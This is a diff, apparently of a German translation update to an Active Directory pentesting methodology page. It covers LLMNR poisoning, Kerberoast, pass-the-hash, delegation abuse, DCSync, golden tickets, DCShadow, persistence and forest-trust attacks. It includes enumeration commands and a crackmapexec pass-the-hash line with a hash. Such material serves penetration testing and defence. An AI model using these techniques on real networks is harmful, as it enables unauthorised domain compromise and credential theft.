Okay, Sie wissen also, dass Sie bereits einen gültigen Benutzernamen haben, aber keine Passwörter... Dann versuchen Sie:
@ -121,7 +121,7 @@ password-spraying.md
### LLMNR/NBT-NS Poisoning
Sie könnten in der Lage sein, einige Challenge-**Hashes** zu erhalten, um **Poisoning** einiger Protokolle des **Netzwerks** zu knacken:
Sie könnten in der Lage sein, einige Challenge-**Hashes** zu erhalten, um **Protokolle** des **Netzwerks** zu cracken:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -133,7 +133,7 @@ Wenn Sie es geschafft haben, das Active Directory zu enumerieren, haben Sie **me
### NTLM-Credentials stehlen
Wenn Sie **Zugriff auf andere PCs oder Freigaben** mit dem **Null- oder Gastbenutzer** haben, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu knacken:
Wenn Sie **auf andere PCs oder Freigaben** mit dem **null oder Gastbenutzer** zugreifen können, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu cracken:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -162,7 +162,7 @@ Bezüglich [**ASREPRoast**](asreproast.md) können Sie jetzt jeden möglichen ve
- **Andere automatisierte AD-Enumerierungstools sind:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS-Einträge des AD**](ad-dns-records.md), da sie interessante Informationen enthalten könnten.
- Ein **Tool mit GUI**, das Sie zur Enumerierung des Verzeichnisses verwenden können, ist **AdExplorer.exe** aus der **SysInternal** Suite.
- Sie können auch in der LDAP-Datenbank mit **ldapsearch** nach Anmeldeinformationen in den Feldern _userPassword_ & _unixUserPassword_ suchen oder sogar nach _Description_. cf. [Passwort im AD-Benutzerkommentar auf PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) für andere Methoden.
- Sie können auch in der LDAP-Datenbank mit **ldapsearch** nach Anmeldeinformationen in den Feldern _userPassword_ & _unixUserPassword_ suchen oder sogar nach _Description_. Siehe [Passwort im AD-Benutzerkommentar auf PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) für andere Methoden.
- Wenn Sie **Linux** verwenden, könnten Sie auch die Domäne mit [**pywerview**](https://github.com/the-useless-one/pywerview) enumerieren.
- Sie könnten auch automatisierte Tools wie:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -171,7 +171,7 @@ Bezüglich [**ASREPRoast**](asreproast.md) können Sie jetzt jeden möglichen ve
Es ist sehr einfach, alle Benutzernamen der Domäne von Windows zu erhalten (`net user /domain`, `Get-DomainUser` oder `wmic useraccount get name,sid`). In Linux können Sie verwenden: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` oder `enum4linux -a -u "user" -p "password" <DC IP>`
> Auch wenn dieser Abschnitt zur Enumerierung klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf die von cmd, powershell, powerview und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
> Auch wenn dieser Abschnitt zur Enumerierung klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf die von CMD, PowerShell, PowerView und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
### Kerberoast
@ -185,13 +185,13 @@ kerberoast.md
### Remote-Verbindung (RDP, SSH, FTP, Win-RM usw.)
Sobald Sie einige Anmeldeinformationen erhalten haben, könnten Sie überprüfen, ob Sie Zugriff auf irgendeine **Maschine** haben. Zu diesem Zweck könnten Sie **CrackMapExec** verwenden, um zu versuchen, sich mit verschiedenen Protokollen auf mehreren Servern zu verbinden, entsprechend Ihren Port-Scans.
Sobald Sie einige Anmeldeinformationen erhalten haben, könnten Sie überprüfen, ob Sie Zugriff auf irgendeine **Maschine** haben. Zu diesem Zweck könnten Sie **CrackMapExec** verwenden, um zu versuchen, sich auf mehreren Servern mit verschiedenen Protokollen gemäß Ihren Port-Scans zu verbinden.
### Lokale Privilegieneskalation
Wenn Sie kompromittierte Anmeldeinformationen oder eine Sitzung als regulärer Domänenbenutzer haben und Sie mit diesem Benutzer **Zugriff** auf **irgendeine Maschine in der Domäne** haben, sollten Sie versuchen, Ihren Weg zur **lokalen Eskalation von Privilegien und zum Ausspähen von Anmeldeinformationen** zu finden. Dies liegt daran, dass Sie nur mit lokalen Administratorrechten in der Lage sind, **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) zu dumpen.
Wenn Sie kompromittierte Anmeldeinformationen oder eine Sitzung als regulärer Domänenbenutzer haben und Sie **Zugriff** mit diesem Benutzer auf **irgendeine Maschine in der Domäne** haben, sollten Sie versuchen, Ihren Weg zur **lokalen Eskalation von Privilegien und zum Ausspähen von Anmeldeinformationen** zu finden. Dies liegt daran, dass Sie nur mit lokalen Administratorrechten in der Lage sind, **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) zu dumpen.
Es gibt eine vollständige Seite in diesem Buch über [**lokale Privilegieneskalation in Windows**](../windows-local-privilege-escalation/index.html) und eine [**Checkliste**](../checklist-windows-privilege-escalation.md). Vergessen Sie auch nicht, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) zu verwenden.
Es gibt eine komplette Seite in diesem Buch über [**lokale Privilegieneskalation in Windows**](../windows-local-privilege-escalation/index.html) und eine [**Checkliste**](../checklist-windows-privilege-escalation.md). Vergessen Sie auch nicht, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) zu verwenden.
### Aktuelle Sitzungstickets
@ -235,7 +235,7 @@ printnightmare.md
### Hash-Extraktion
Hoffentlich ist es Ihnen gelungen, ein **lokales Administratorkonto** mit [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) einschließlich Relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [lokale Privilegien zu eskalieren](../windows-local-privilege-escalation/index.html) zu kompromittieren.\
Hoffentlich ist es Ihnen gelungen, **einige lokale Administrator**-Konten mit [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) einschließlich Relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [lokale Privilegien zu eskalieren](../windows-local-privilege-escalation/index.html) zu kompromittieren.\
Dann ist es Zeit, alle Hashes im Speicher und lokal zu dumpen.\
[**Lesen Sie diese Seite über verschiedene Möglichkeiten, die Hashes zu erhalten.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
Im **Pass The Ticket (PTT)**-Angriffsverfahren stehlen Angreifer **das Authentifizierungsticket eines Benutzers** anstelle seines Passworts oder seiner Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **den Benutzer zu impersonieren** und unbefugten Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks zu erhalten.
Im **Pass The Ticket (PTT)**-Angriffsverfahren stehlen Angreifer **das Authentifizierungsticket eines Benutzers**, anstatt dessen Passwort oder Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **den Benutzer zu impersonieren** und unbefugten Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks zu erhalten.
{{#ref}}
pass-the-ticket.md
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### MSSQL-Missbrauch & Vertrauenswürdige Links
Wenn ein Benutzer Berechtigungen hat, um **auf MSSQL-Instanzen zuzugreifen**, könnte er in der Lage sein, es zu **benutzen, um Befehle** auf dem MSSQL-Host auszuführen (wenn er als SA läuft), den NetNTLM **Hash** zu **stehlen** oder sogar einen **Relay**-**Angriff** durchzuführen.\
Außerdem, wenn eine MSSQL-Instanz von einer anderen MSSQL-Instanz als vertrauenswürdig (Datenbanklink) angesehen wird. Wenn der Benutzer Berechtigungen über die vertrauenswürdige Datenbank hat, wird er in der Lage sein, **die Vertrauensbeziehung zu nutzen, um auch in der anderen Instanz Abfragen auszuführen**. Diese Vertrauensstellungen können verkettet werden, und irgendwann könnte der Benutzer in der Lage sein, eine falsch konfigurierte Datenbank zu finden, in der er Befehle ausführen kann.\
Außerdem, wenn eine MSSQL-Instanz von einer anderen MSSQL-Instanz als vertrauenswürdig (Datenbanklink) betrachtet wird. Wenn der Benutzer Berechtigungen über die vertrauenswürdige Datenbank hat, wird er in der Lage sein, **die Vertrauensbeziehung zu nutzen, um auch in der anderen Instanz Abfragen auszuführen**. Diese Vertrauensstellungen können verkettet werden, und irgendwann könnte der Benutzer in der Lage sein, eine falsch konfigurierte Datenbank zu finden, in der er Befehle ausführen kann.\
**Die Links zwischen Datenbanken funktionieren sogar über Waldvertrauensstellungen hinweg.**
{{#ref}}
@ -295,13 +295,13 @@ unconstrained-delegation.md
### Eingeschränkte Delegation
Wenn ein Benutzer oder Computer für "Eingeschränkte Delegation" zugelassen ist, kann er **jeden Benutzer impersonieren, um auf einige Dienste auf einem Computer zuzugreifen**.\
Wenn Sie dann den **Hash** dieses Benutzers/Computers **kompromittieren**, können Sie **jeden Benutzer** (sogar Domain-Admins) impersonieren, um auf einige Dienste zuzugreifen.
Wenn Sie dann den **Hash** dieses Benutzers/Computers **kompromittieren**, können Sie **jeden Benutzer impersonieren** (sogar Domain-Admins), um auf einige Dienste zuzugreifen.
{{#ref}}
constrained-delegation.md
{{#endref}}
### Ressourcenbasierte Eingeschränkte Delegation
### Ressourcenbasierte eingeschränkte Delegation
Das Vorhandensein von **WRITE**-Berechtigungen auf einem Active Directory-Objekt eines Remote-Computers ermöglicht die Ausführung von Code mit **erhöhten Berechtigungen**:
@ -319,7 +319,7 @@ acl-persistence-abuse/
### Missbrauch des Druckspooler-Dienstes
Das Entdecken eines **Spool-Dienstes, der im Domänenbereich lauscht**, kann **ausgenutzt** werden, um **neue Anmeldeinformationen zu erwerben** und **Berechtigungen zu eskalieren**.
Das Entdecken eines **Spool-Dienstes, der** innerhalb der Domäne **lauscht**, kann **ausgenutzt** werden, um **neue Anmeldeinformationen zu erwerben** und **Berechtigungen zu eskalieren**.
{{#ref}}
printers-spooler-service-abuse.md
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden im Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden in Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
{{#ref}}
laps.md
@ -344,7 +344,7 @@ laps.md
### Zertifikatsdiebstahl
**Zertifikate** von der kompromittierten Maschine zu **sammeln** könnte ein Weg sein, um Berechtigungen innerhalb der Umgebung zu eskalieren:
**Zertifikate** von der kompromittierten Maschine zu **sammeln**, könnte ein Weg sein, um Berechtigungen innerhalb der Umgebung zu eskalieren:
{{#ref}}
ad-certificates/certificate-theft.md
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
### Dumping von Domänenanmeldeinformationen
Sobald Sie **Domain Admin** oder noch besser **Enterprise Admin**-Berechtigungen erhalten, können Sie die **Domänendatenbank** dumpen: _ntds.dit_.
Sobald Sie **Domain Admin** oder sogar besser **Enterprise Admin**-Berechtigungen erhalten, können Sie die **Domänendatenbank** dumpen: _ntds.dit_.
[**Weitere Informationen über den DCSync-Angriff finden Sie hier**](dcsync.md).
@ -411,13 +411,13 @@ golden-ticket.md
### Diamond Ticket
Diese sind wie goldene Tickets, die so gefälscht sind, dass sie **gewöhnliche Erkennungsmechanismen für goldene Tickets umgehen**.
Diese sind wie goldene Tickets, die so gefälscht sind, dass sie **gemeinsame Erkennungsmechanismen für goldene Tickets umgehen**.
{{#ref}}
diamond-ticket.md
{{#endref}}
### **Zertifikatskonto-Persistenz**
### **Zertifikate Konto-Persistenz**
**Zertifikate eines Kontos zu haben oder in der Lage zu sein, sie anzufordern**, ist eine sehr gute Möglichkeit, um in dem Benutzerkonto persistieren zu können (auch wenn er das Passwort ändert):
@ -425,7 +425,7 @@ diamond-ticket.md
ad-certificates/account-persistence.md
{{#endref}}
### **Zertifikatsdomänen-Persistenz**
### **Zertifikate Domänen-Persistenz**
**Die Verwendung von Zertifikaten ist auch möglich, um mit hohen Berechtigungen innerhalb der Domäne zu persistieren:**
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder-Gruppe
Das **AdminSDHolder**-Objekt in Active Directory gewährleistet die Sicherheit von **privilegierten Gruppen** (wie Domain Admins und Enterprise Admins), indem es eine standardisierte **Zugriffskontrollliste (ACL)** auf diese Gruppen anwendet, um unbefugte Änderungen zu verhindern. Diese Funktion kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL des AdminSDHolder so ändert, dass ein regulärer Benutzer vollen Zugriff erhält, erlangt dieser Benutzer umfangreiche Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die zum Schutz gedacht ist, kann somit nach hinten losgehen und unbefugten Zugriff ermöglichen, es sei denn, sie wird genau überwacht.
Das **AdminSDHolder**-Objekt in Active Directory gewährleistet die Sicherheit von **privilegierten Gruppen** (wie Domain Admins und Enterprise Admins), indem es eine standardisierte **Zugriffskontrollliste (ACL)** auf diese Gruppen anwendet, um unbefugte Änderungen zu verhindern. Diese Funktion kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL des AdminSDHolder so ändert, dass ein regulärer Benutzer vollen Zugriff erhält, gewinnt dieser Benutzer umfangreiche Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die zum Schutz gedacht ist, kann somit nach hinten losgehen und unbefugten Zugriff ermöglichen, es sei denn, sie wird genau überwacht.
[**Weitere Informationen zur AdminDSHolder-Gruppe hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM-Anmeldeinformationen
Innerhalb jedes **Domänencontrollers (DC)** existiert ein **lokales Administratorkonto**. Durch den Erwerb von Administratorrechten auf einem solchen Computer kann der Hash des lokalen Administrators mit **mimikatz** extrahiert werden. Danach ist eine Registrierungänderung erforderlich, um **die Verwendung dieses Passworts zu aktivieren**, was den Remote-Zugriff auf das lokale Administratorkonto ermöglicht.
Innerhalb jedes **Domain Controllers (DC)** existiert ein **lokales Administratorkonto**. Durch den Erwerb von Admin-Rechten auf einem solchen Computer kann der Hash des lokalen Administrators mit **mimikatz** extrahiert werden. Danach ist eine Registrierungänderung erforderlich, um **die Verwendung dieses Passworts zu aktivieren**, was den Remote-Zugriff auf das lokale Administratorkonto ermöglicht.
{{#ref}}
dsrm-credentials.md
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL-Persistenz
Sie könnten einem **Benutzer** einige **besondere Berechtigungen** über bestimmte Domänenobjekte geben, die es dem Benutzer ermöglichen, **zukünftig Berechtigungen zu eskalieren**.
Sie könnten einem **Benutzer** einige **besondere Berechtigungen** über einige spezifische Domänenobjekte geben, die es dem Benutzer ermöglichen, **in Zukunft Berechtigungen zu eskalieren**.
{{#ref}}
acl-persistence-abuse/
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
Es registriert einen **neuen Domänencontroller** im AD und verwendet ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** das Hinterlassen von **Protokollen** bezüglich der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich innerhalb der **Root-Domäne** befinden.\
Es registriert einen **neuen Domain Controller** im AD und verwendet ihn, um Attribute (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** das Hinterlassen von **Protokollen** bezüglich der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich innerhalb der **Root-Domäne** befinden.\
Beachten Sie, dass bei Verwendung falscher Daten ziemlich hässliche Protokolle erscheinen werden.
{{#ref}}
@ -498,60 +498,60 @@ Zuvor haben wir darüber gesprochen, wie man Berechtigungen eskalieren kann, wen
laps.md
{{#endref}}
## Waldprivilegieneskalation - Domänenvertrauensstellungen
## Wald-Berechtigungseskalation - Domänenvertrauen
Microsoft betrachtet den **Wald** als die Sicherheitsgrenze. Dies impliziert, dass **die Kompromittierung einer einzelnen Domäne potenziell zur Kompromittierung des gesamten Waldes führen könnte**.
### Grundinformationen
### Grundlegende Informationen
Eine [**Domänenvertrauensstellung**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der es einem Benutzer aus einer **Domäne** ermöglicht, auf Ressourcen in einer anderen **Domäne** zuzugreifen. Es schafft im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen, die es ermöglicht, dass Authentifizierungsüberprüfungen nahtlos fließen. Wenn Domänen eine Vertrauensstellung einrichten, tauschen sie spezifische **Schlüssel** innerhalb ihrer **Domänencontroller (DCs)** aus und behalten diese, was für die Integrität der Vertrauensstellung entscheidend ist.
Ein [**Domänenvertrauen**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der es einem Benutzer aus einer **Domäne** ermöglicht, auf Ressourcen in einer anderen **Domäne** zuzugreifen. Es schafft im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen, die es ermöglicht, dass Authentifizierungsüberprüfungen nahtlos fließen. Wenn Domänen ein Vertrauen einrichten, tauschen sie spezifische **Schlüssel** innerhalb ihrer **Domain Controllers (DCs)** aus und behalten diese, was für die Integrität des Vertrauens entscheidend ist.
In einem typischen Szenario muss ein Benutzer, der auf einen Dienst in einer **vertrauenswürdigen Domäne** zugreifen möchte, zunächst ein spezielles Ticket anfordern, das als **inter-realm TGT** bekannt ist, von dem DC seiner eigenen Domäne. Dieses TGT ist mit einem gemeinsamen **Schlüssel** verschlüsselt, auf den sich beide Domänen geeinigt haben. Der Benutzer präsentiert dann dieses TGT dem **DC der vertrauenswürdigen Domäne**, um ein Dienstticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauenswürdigen Domäne gibt dieser ein TGS aus, das dem Benutzer den Zugriff auf den Dienst gewährt.
In einem typischen Szenario, wenn ein Benutzer beabsichtigt, auf einen Dienst in einer **vertrauenswürdigen Domäne** zuzugreifen, muss er zunächst ein spezielles Ticket anfordern, das als **inter-realm TGT** bekannt ist, von dem DC seiner eigenen Domäne. Dieses TGT ist mit einem gemeinsamen **Schlüssel** verschlüsselt, auf den sich beide Domänen geeinigt haben. Der Benutzer präsentiert dann dieses TGT dem **DC der vertrauenswürdigen Domäne**, um ein Dienstticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauenswürdigen Domäne gibt dieser ein TGS aus, das dem Benutzer den Zugriff auf den Dienst gewährt.
**Schritte**:
1. Ein **Client-Computer** in **Domäne 1** beginnt den Prozess, indem er seinen **NTLM-Hash** verwendet, um ein **Ticket Granting Ticket (TGT)** von seinem **Domänencontroller (DC1)** anzufordern.
1. Ein **Client-Computer** in **Domäne 1** beginnt den Prozess, indem er seinen **NTLM-Hash** verwendet, um ein **Ticket Granting Ticket (TGT)** von seinem **Domain Controller (DC1)** anzufordern.
2. DC1 gibt ein neues TGT aus, wenn der Client erfolgreich authentifiziert wird.
3. Der Client fordert dann ein **inter-realm TGT** von DC1 an, das benötigt wird, um auf Ressourcen in **Domäne 2** zuzugreifen.
4. Das inter-realm TGT ist mit einem **Vertrauensschlüssel** verschlüsselt, der zwischen DC1 und DC2 im Rahmen der zweiseitigen Domänenvertrauensstellung geteilt wird.
5. Der Client bringt das inter-realm TGT zu **Domäne 2's Domänencontroller (DC2)**.
4. Das inter-realm TGT ist mit einem **Vertrauensschlüssel** verschlüsselt, der zwischen DC1 und DC2 im Rahmen des zweiseitigen Domänenvertrauens geteilt wird.
5. Der Client bringt das inter-realm TGT zu **Domain 2's Domain Controller (DC2)**.
6. DC2 überprüft das inter-realm TGT mit seinem gemeinsamen Vertrauensschlüssel und gibt, wenn es gültig ist, ein **Ticket Granting Service (TGS)** für den Server in Domäne 2 aus, auf den der Client zugreifen möchte.
7. Schließlich präsentiert der Client dieses TGS dem Server, das mit dem Hash des Serverkontos verschlüsselt ist, um Zugriff auf den Dienst in Domäne 2 zu erhalten.
### Verschiedene Vertrauensstellungen
Es ist wichtig zu beachten, dass **eine Vertrauensstellung einseitig oder zweiseitig sein kann**. Bei der zweiseitigen Option vertrauen sich beide Domänen gegenseitig, aber in der **einseitigen** Vertrauensbeziehung ist eine der Domänen die **vertrauenswürdige** und die andere die **vertrauende** Domäne. Im letzteren Fall **können Sie nur auf Ressourcen innerhalb der vertrauenden Domäne von der vertrauenswürdigen zugreifen**.
Es ist wichtig zu beachten, dass **ein Vertrauen einseitig oder zweiseitig sein kann**. Bei der zweiseitigen Option vertrauen sich beide Domänen gegenseitig, aber in der **einseitigen** Vertrauensbeziehung ist eine der Domänen die **vertrauenswürdige** und die andere die **vertrauende** Domäne. Im letzteren Fall **können Sie nur auf Ressourcen innerhalb der vertrauenden Domäne von der vertrauenswürdigen zugreifen**.
Wenn Domäne A Domäne B vertraut, ist A die vertrauende Domäne und B die vertrauenswürdige. Darüber hinaus wäre dies in **Domäne A** eine **Outbound-Vertrauensstellung**; und in **Domäne B** wäre dies eine **Inbound-Vertrauensstellung**.
Wenn Domäne A Domäne B vertraut, ist A die vertrauende Domäne und B die vertrauenswürdige. Darüber hinaus wäre dies in **Domäne A** ein **Outbound-Vertrauen**; und in **Domäne B** wäre dies ein **Inbound-Vertrauen**.
**Verschiedene vertrauende Beziehungen**
- **Eltern-Kind-Vertrauensstellungen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch eine zweiseitige transitive Vertrauensstellung mit ihrer Elterndomäne hat. Im Wesentlichen bedeutet dies, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
- **Querverlinkungs-Vertrauensstellungen**: Diese werden als "Shortcut-Vertrauensstellungen" bezeichnet und werden zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zur Wurzel des Waldes und dann zur Ziel-Domäne reisen. Durch die Erstellung von Querverlinkungen wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
- **Externe Vertrauensstellungen**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht-transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Vertrauensstellungen nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht über eine Waldvertrauensstellung verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Vertrauensstellungen erhöht.
- **Baumwurzel-Vertrauensstellungen**: Diese Vertrauensstellungen werden automatisch zwischen der Wurzel-Domäne des Waldes und einer neu hinzugefügten Baumwurzel eingerichtet. Obwohl sie nicht häufig vorkommen, sind Baumwurzel-Vertrauensstellungen wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, damit sie einen einzigartigen Domänennamen beibehalten und eine zweiseitige Transitivität gewährleisten können. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Waldvertrauensstellungen**: Diese Art von Vertrauensstellung ist eine zweiseitige transitive Vertrauensstellung zwischen zwei Wurzel-Domänen des Waldes, die ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
- **MIT-Vertrauensstellungen**: Diese Vertrauensstellungen werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Vertrauensstellungen sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
- **Eltern-Kind-Vertrauen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch ein zweiseitiges transitives Vertrauen mit ihrer Elterndomäne hat. Im Wesentlichen bedeutet dies, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
- **Quervertrauen**: Auch als "Shortcut-Trusts" bezeichnet, werden diese zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zum Wurzelwald und dann zur Ziel-Domäne reisen. Durch die Erstellung von Querverbindungen wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
- **Externe Vertrauensstellungen**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Vertrauensstellungen nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht über ein Waldvertrauen verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Vertrauensstellungen erhöht.
- **Baum-Wurzel-Vertrauen**: Diese Vertrauensstellungen werden automatisch zwischen der Wurzel-Domäne des Waldes und einer neu hinzugefügten Baumwurzel eingerichtet. Obwohl sie nicht häufig vorkommen, sind Baum-Wurzel-Vertrauen wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, damit sie einen einzigartigen Domänennamen beibehalten und eine zweiseitige Transitivität gewährleisten können. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Waldvertrauen**: Diese Art von Vertrauen ist ein zweiseitiges transitives Vertrauen zwischen zwei Wurzel-Domänen des Waldes, das ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
- **MIT-Vertrauen**: Diese Vertrauensstellungen werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Vertrauen sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
#### Weitere Unterschiede in **vertrauenden Beziehungen**
- Eine Vertrauensbeziehung kann auch **transitiv** sein (A vertraut B, B vertraut C, dann vertraut A C) oder **nicht-transitiv**.
- Eine Vertrauensbeziehung kann als **bidirektionale Vertrauensstellung** (beide vertrauen einander) oder als **einseitige Vertrauensstellung** (nur einer von ihnen vertraut dem anderen) eingerichtet werden.
- Eine Vertrauensbeziehung kann als **bidirektionales Vertrauen** (beide vertrauen sich gegenseitig) oder als **einseitiges Vertrauen** (nur einer von ihnen vertraut dem anderen) eingerichtet werden.
### Angriffsweg
1. **Enumerieren** Sie die vertrauenden Beziehungen
2. Überprüfen Sie, ob ein **Sicherheitsprinzipal** (Benutzer/Gruppe/Computer) **Zugriff** auf Ressourcen der **anderen Domäne** hat, möglicherweise durch ACE-Einträge oder durch Mitgliedschaft in Gruppen der anderen Domäne. Suchen Sie nach **Beziehungen über Domänen hinweg** (die Vertrauensstellung wurde wahrscheinlich dafür erstellt).
2. Überprüfen Sie, ob ein **Sicherheitsprinzipal** (Benutzer/Gruppe/Computer) **Zugriff** auf Ressourcen der **anderen Domäne** hat, möglicherweise durch ACE-Einträge oder durch Mitgliedschaft in Gruppen der anderen Domäne. Suchen Sie nach **Beziehungen über Domänen hinweg** (das Vertrauen wurde wahrscheinlich dafür geschaffen).
1. Kerberoast könnte in diesem Fall eine weitere Option sein.
3. **Kompromittieren** Sie die **Konten**, die durch Domänen **pivotieren** können.
Angreifer könnten über drei Hauptmechanismen auf Ressourcen in einer anderen Domäne zugreifen:
- **Lokale Gruppenmitgliedschaft**: Prinzipale könnten zu lokalen Gruppen auf Maschinen hinzugefügt werden, wie der "Administratoren"-Gruppe auf einem Server, was ihnen erhebliche Kontrolle über diese Maschine gewährt.
